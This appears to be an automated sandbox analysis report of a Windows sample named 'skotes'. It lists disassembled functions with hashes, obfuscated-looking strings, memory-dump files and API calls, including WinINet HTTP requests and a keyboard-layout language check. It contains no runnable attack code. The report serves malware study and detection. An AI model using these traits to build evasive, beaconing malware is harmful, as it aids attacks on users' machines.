Instruction ID: a3de60f6088ec1c4c386b003b08aa14966f9862f5082bbe52f3fd55dcbeff6a6
Opcode Fuzzy Hash: 4ba4a99e01080d62b5c6750a892490fdbcdb30dbc9e24f511b8f9cfe67242e72
Instruction Fuzzy Hash: 9582A070904288DBEF14EF68C9597DEBFB5EB46304F508588E805673C2D7759A88CBB2

Function 00DBD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00DA24BE

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 15692a6fc18d01ef03b1e9d6b986c1e4400f30f64f1bd7876238dcf8b2279223
Instruction ID: 0b594162381994359337df9c9722fae0b05655b4d99db6146c6cc2854adff185
Opcode Fuzzy Hash: 15692a6fc18d01ef03b1e9d6b986c1e4400f30f64f1bd7876238dcf8b2279223
Instruction Fuzzy Hash: 4C51C172A04706CFEB15CF59D8856AEB7F6FB18314F24812AE40AEB251E335D984CF60

Function 00DB3640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00DB434F

Part of subcall function 00DB7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00DB7AEC
Part of subcall function 00DB7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00DB7AF8
Part of subcall function 00DB7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00DB7B01

Strings

9HQ0, xrefs: 00DB54E1
invalid stoi argument, xrefs: 00DB1ED0, 00DB2ED9, 00DB2EE8, 00DB434A, 00DB4F8D
WGpm, xrefs: 00DB3CC9
VXQ0, xrefs: 00DB550A
MGI+, xrefs: 00DB48AD, 00DB49DC, 00DB4BCC, 00DB4CFB
8WI0, xrefs: 00DB5692
9250, xrefs: 00DB54AD
stoi argument out of range, xrefs: 00DB2EF2, 00DB4359, 00DB43A0, 00DB4F9C
VXA0, xrefs: 00DB55AE
GE0, xrefs: 00DB5585
V2Te, xrefs: 00DB3EB0
246122658369, xrefs: 00DB1F95, 00DB28DE, 00DB2B33, 00DB2BA0, 00DB2F78, 00DB3463, 00DB34C4, 00DB502A, 00DB503D, 00DB507F, 00DB5089, 00DB5684
93E0, xrefs: 00DB5600
KCWUOl==, xrefs: 00DB5649
Fw==, xrefs: 00DB378E, 00DB4E1D
anE0, xrefs: 00DB566B
Vmc0, xrefs: 00DB55D7
aWW0, xrefs: 00DB555C
WX f, xrefs: 00DB3BDE
3I3eB==, xrefs: 00DB4802
", xrefs: 00DB3F89
9c9aa5, xrefs: 00DB5619
Hykl, xrefs: 00DB387F
MGE+, xrefs: 00DB4866, 00DB48DD, 00DB4B85, 00DB4BFC
jS=, xrefs: 00DB6513
5120, xrefs: 00DB3BAF, 00DB3C9A
2I0, xrefs: 00DB5627
WGS0, xrefs: 00DB5533

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: beac0d9ada0503a369845f13080d9e55e81051431de2be8e444b196d69800d63
Instruction ID: 8b2a9c26024de49900634c7dcba07a0ca4103de1a5e8ecd4b900061730f973df
Opcode Fuzzy Hash: beac0d9ada0503a369845f13080d9e55e81051431de2be8e444b196d69800d63
Instruction Fuzzy Hash: 1152D171A00248DBDB18EF68CD8A7DDBBB5EF45300F54458CE446A7282DB359B84CBB2

Function 00DB47B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00DB7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00DB7AEC
Part of subcall function 00DB7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00DB7AF8
Part of subcall function 00DB7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00DB7B01

Part of subcall function 00DABE30: Sleep.KERNEL32(000005DC), ref: 00DABEB8
Part of subcall function 00DABE30: InternetOpenW.WININET(00DF8DC8,00000000,00000000,00000000,00000000), ref: 00DABEC8
Part of subcall function 00DABE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00DABEEC
Part of subcall function 00DABE30: HttpOpenRequestA.WININET(?,00000000), ref: 00DABF36

std::_Xinvalid_argument.LIBCPMT ref: 00DB4F92

Strings

9HQ0, xrefs: 00DB54E1
VXQ0, xrefs: 00DB550A
MGI+, xrefs: 00DB48AD, 00DB49DC, 00DB4BCC, 00DB4CFB
aWW0, xrefs: 00DB555C
8WI0, xrefs: 00DB5692
3I3eB==, xrefs: 00DB4802
9250, xrefs: 00DB54AD
stoi argument out of range, xrefs: 00DB4359, 00DB43A0, 00DB4F9C
VXA0, xrefs: 00DB55AE
GE0, xrefs: 00DB5585
9c9aa5, xrefs: 00DB5619
MGE+, xrefs: 00DB4866, 00DB48DD, 00DB4B85, 00DB4BFC
jS=, xrefs: 00DB6513, 00DB67E2
246122658369, xrefs: 00DB502A, 00DB503D, 00DB507F, 00DB5089, 00DB5684
2I0, xrefs: 00DB5627
WGS0, xrefs: 00DB5533
93E0, xrefs: 00DB5600
KCWUOl==, xrefs: 00DB5649
Fw==, xrefs: 00DB378E, 00DB4E1D
anE0, xrefs: 00DB566B
Vmc0, xrefs: 00DB55D7

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: a528752745d4a8d8f0705539267f823bf3767fc7396edabbb92f2e6d0687e06c
Instruction ID: acfe359f05da8cca9a766439d6cb21d392d3416c720f3d27a4086c90cbf6d3da
Opcode Fuzzy Hash: a528752745d4a8d8f0705539267f823bf3767fc7396edabbb92f2e6d0687e06c
Instruction Fuzzy Hash: 2123C271A00258CBDB19DB28CD897DDBBB6DB81304F5481D8E04AA72D6EB359F84CF61

Function 00DB2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

invalid stoi argument, xrefs: 00DB434A
Hykl, xrefs: 00DB387F
WGpm, xrefs: 00DB3CC9
V2Te, xrefs: 00DB3EB0
WX f, xrefs: 00DB3BDE
5120, xrefs: 00DB3BAF, 00DB3C9A
246122658369, xrefs: 00DB2F78
WTw=, xrefs: 00DB2F5E
", xrefs: 00DB3F89
stoi argument out of range, xrefs: 00DB4359
Fw==, xrefs: 00DB378E

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: c5e8194c0c8ae5ec6388a1ef611355a1d990d3cac14653b24e4256271a99331e
Instruction ID: ec10980a9266085de3af0c8068e0fdce1e6a790eab5dcc268482fff131ddbe6a
Opcode Fuzzy Hash: c5e8194c0c8ae5ec6388a1ef611355a1d990d3cac14653b24e4256271a99331e
Instruction Fuzzy Hash: 7C72D271A00248DBDF18EF68CD8A7DDBBB5EB45300F54458CE446A7382DB359B848BB2

Function 00DA5EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00DA5F13

Strings

0000043f, xrefs: 00DA612B
00000419, xrefs: 00DA6098
00000422, xrefs: 00DA60C9
Keyboard Layout\Preload, xrefs: 00DA6054
00000423, xrefs: 00DA60FA

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: b5bb52102bbe99e8a5d59496547c8c643656f9835a362280d1aa1e23eba1136e
Instruction ID: 73fe2aa6ae40b97771b522056181c0fea967ea88b52afedb19636252e8e4439c
Opcode Fuzzy Hash: b5bb52102bbe99e8a5d59496547c8c643656f9835a362280d1aa1e23eba1136e
Instruction Fuzzy Hash: 41D1BD71900258DBEB24DF24CC84BDEB7B9EF05340F5442D8E509E7291DB74AAA8CFA5

Function 00DA7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00DA7ED3

Strings

JjsrPl==, xrefs: 00DA828A
JjssOl==, xrefs: 00DA813A
JjssPV==, xrefs: 00DA81E2
JjsrQV==, xrefs: 00DA8092

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: f0865576d67ef66152aad3e34bf259e3e6009097d1ab944d5a392313b59680e5
Instruction ID: 8bccf0bf29ae0d876f27b166758eca3cf9b10f167677449fae3fedd09cec1ede
Opcode Fuzzy Hash: f0865576d67ef66152aad3e34bf259e3e6009097d1ab944d5a392313b59680e5
Instruction Fuzzy Hash: CCE1E570E006449BDB14BB28DC5B3AD7BA1EB86720F94428CE816773C6DB354E8587F2

Function 00DA8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00DA8524

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6a60c8c8188deb582c6e38c5e3ffe3888dfae3a46694ea3a0bafc2d57202c837
Instruction ID: ed57ff755fb451dfc265dac24aec8ede584e7a905b1dbdcc7d4c8170b870d217
Opcode Fuzzy Hash: 6a60c8c8188deb582c6e38c5e3ffe3888dfae3a46694ea3a0bafc2d57202c837
Instruction Fuzzy Hash: 2C512770D102589BDB24EB68CD457EDB7B6EB46314F5042A8EC09A72C1EF749E848BB1

Function 00DDB04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,1764DD82,?,?,00DBD3FC,1764DD82,?,00DB7A8B,?,?,?,?,?,?,00DA7465,?), ref: 00DDB07E

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 904928ca4a41931b69bec28038740e0df07eab55cc7c1bc59b9df4474d028b1e
Instruction ID: dbf6dc4630ec8e30aa2a381f73dbd2fd308e0287fb85fc77f26702e9fa011463
Opcode Fuzzy Hash: 904928ca4a41931b69bec28038740e0df07eab55cc7c1bc59b9df4474d028b1e
Instruction Fuzzy Hash: 2BE06D39141626DAEA3132659C41B7FAA48DB437B5F1B1213ED64A6390EB21DC0082F1

Function 00DB6C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00DB6CF5

Memory Dump Source

Source File: 00000005.00000002.2955176966.0000000000DA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00DA0000, based on PE: true

Associated: 00000005.00000002.2955106938.0000000000DA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955176966.0000000000E02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955369598.0000000000E09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000E0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.0000000000F91000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000106F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.000000000109D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2955863796.00000000010B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959206171.00000000010B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959554699.000000000124E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2959617390.0000000001250000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_da0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6a3e5c4b19d037f2cf12d72a85c0b887986c6e0e3031b2fdb08343540fe01b58
Instruction ID: 69faa3ce1d8120454635db3e31926972ccb6609bf9b4512388c4e85f25607dcc
Opcode Fuzzy Hash: 6a3e5c4b19d037f2cf12d72a85c0b887986c6e0e3031b2fdb08343540fe01b58
Instruction Fuzzy Hash: 84F0D171A00600EBC700BB699C06B5E7BB4EB47760F80034CE822772D6EA345A0487F2

Function 04E50BF2 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d54ced9d7c803c37c71b3c869a080f2fab646a54c8e0ba2ccb0531f00c50bb2
Instruction ID: e327e297a0a512270c2070df9c268b7e63152d994d13442cfc8e3112f40e3a2e
Opcode Fuzzy Hash: 0d54ced9d7c803c37c71b3c869a080f2fab646a54c8e0ba2ccb0531f00c50bb2
Instruction Fuzzy Hash: F2115EF720C2107FE20246415B745FA7B7EEBC333133194A7F847C5122E2A51A4A7572

Function 04E50BCC Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a3f5b292ced7fe5a4457cfe2ed3206763f14b9f256f4feff84cfa3fe927873b
Instruction ID: 2142330f63eda7bf426691fda4fb514e9c82c63f07ff080727e188f3e6858938
Opcode Fuzzy Hash: 8a3f5b292ced7fe5a4457cfe2ed3206763f14b9f256f4feff84cfa3fe927873b
Instruction Fuzzy Hash: 0811E3EB24C110BEE14645826B64AFA2B7EEBC3330731D8AAF847C1212F2951A497172

Function 04E50BD8 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4fe5a9c4b06543da69793ea9fb4a5254ae4b441723aed25a9e3307fde8f157e
Instruction ID: cf94c923fe55b6efccdd1561a5e6caf70461b1085ef9451a3b6402e18c25f24c
Opcode Fuzzy Hash: b4fe5a9c4b06543da69793ea9fb4a5254ae4b441723aed25a9e3307fde8f157e
Instruction Fuzzy Hash: 1D112EFB24D110BEE10285815B609F67B7DEBC3330731D4A6F843C2112F3A51A497572

Function 04E50B83 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a2d130fb9723e4e55fcb6632cdf6da72f9ea686e89a0d257e5c37d828052fe9
Instruction ID: 702e22bcc77af37ba14f2812c7e5b3274664262c01ccebd307bf944b960e83ea
Opcode Fuzzy Hash: 5a2d130fb9723e4e55fcb6632cdf6da72f9ea686e89a0d257e5c37d828052fe9
Instruction Fuzzy Hash: 4011E7EB24D110BEE14655815B64AFA3B7EEBC3330731D4A6F847C1222F2951A497172

Function 04E50C25 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2794f077828db99b0740955394589fb04fa42f4d5a4447a7f001096fbcdc6247
Instruction ID: 97334bf243d6ccb464492ca006fa2798e7b5b68b35e670d6510b5709debb8db7
Opcode Fuzzy Hash: 2794f077828db99b0740955394589fb04fa42f4d5a4447a7f001096fbcdc6247
Instruction Fuzzy Hash: 1B01F5AB24D1206EE64245816B20AF62B7DEBC3331730A8A3F843C4122E394164E75B2

Function 04E50C4A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2962793072.0000000004E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4e50000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa443088144f4ba700c17d3e3e25254bc4dcbbb1cc60114d714b1d8355e281a
Instruction ID: 21bcbe4f9949c09753f947984649e67d90f42129a09077b28bafc79963c2a4a1
